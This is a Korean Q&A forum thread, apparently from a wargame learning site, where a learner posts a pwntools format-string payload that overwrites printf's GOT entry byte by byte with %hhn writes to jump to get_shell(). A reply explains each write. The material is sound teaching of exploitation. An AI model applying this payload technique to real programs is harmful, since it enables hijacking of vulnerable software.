format string bug 관련 문의.
sprintf 함수로 버퍼를 채운 뒤 ret address를 덮어 씌우는 방식을 많이 사용하시는 것 같은데, 저는 fsb의 정석(?) 대로 printf 의 got을 덮어 씌우는 방법을 사용했습니다.
다만, 여기서 의문 사항이 몇 가지 있어 질문 드립니다.
전체적인 페이로드는 아래와 같이 작성했습니다.
pay = b'AAAA'
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += p32(overwrite+3)
pay += b'%85c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%hhn'
- fsb는 첫 번째 %p부터 발생하는 것을 확인하였습니다. 하지만 실제로 값을 넣어보면 dummy 값 4 byte 이후부터 값이 들어가는 것을 보았습니다. 왜 이런 것인가요?
- 위의 페이로드에서 보듯이, 삽입하는 주소 값이 순서대로가 아닌
+3 -> 0 -> +1 -> +2 로 삽입하여야 제대로 값이 들어가는 것을 확인하였습니다.
1항과 연계되어 발생하는 문제인 것 같긴한데... 왜 그런지 모르겠습니다.
#pwnable
작성자 정보
답변
1
kimht_
강의 수강: 1
- 어떤 질문인지 이해하지 못했습니다만, 아래 2번에 대한 답변을 보시면 궁금증 해결이 가능할 것 같습니다.
- 적어주신
pay
가 어떤식으로overwrite
에get_shell()
주소를 덮는지 그 과정을 아래에 적어봤습니다. 아마 자세히 보시면 궁금증이 해결되실 것 같습니다.
-
pay += b'%85c%4$hhn'
에 의해overwrite
에 0x69 오버라이트함.4$
이므로 pay의 4 * 4번째에 있는 4바이트(overwrite
)에다가 0x69를 오버라이트합니다.
-
pay += b'%29c%3$hhn'
에 의해overwrite+1
에 0x86 오버라이트함.3$
이므로 pay의 4 * 3번째에 있는 4바이트(overwrite+1
)에다가 0x86을 오버라이트합니다.
-
pay += b'%126c%2$hhn'
에 의해overwrite+2
에 0x04 오버라이트함.2$
이므로 pay의 4 * 2번째에 있는 4바이트(overwrite+2
)에다가 0x04를 오버라이트합니다.
-
pay += b'%4c%hhn'
에 의해overwrite+3
에 0x08 오버라이트함.- 앞에 %c가 4개 있었으므로, %hhn은
%5$hhn
과 같습니다. 따라서 pay의 4 * 5번째에 있는 4바이트(overwrite+3
)에다가 0x08을 오버라이트합니다.
- 앞에 %c가 4개 있었으므로, %hhn은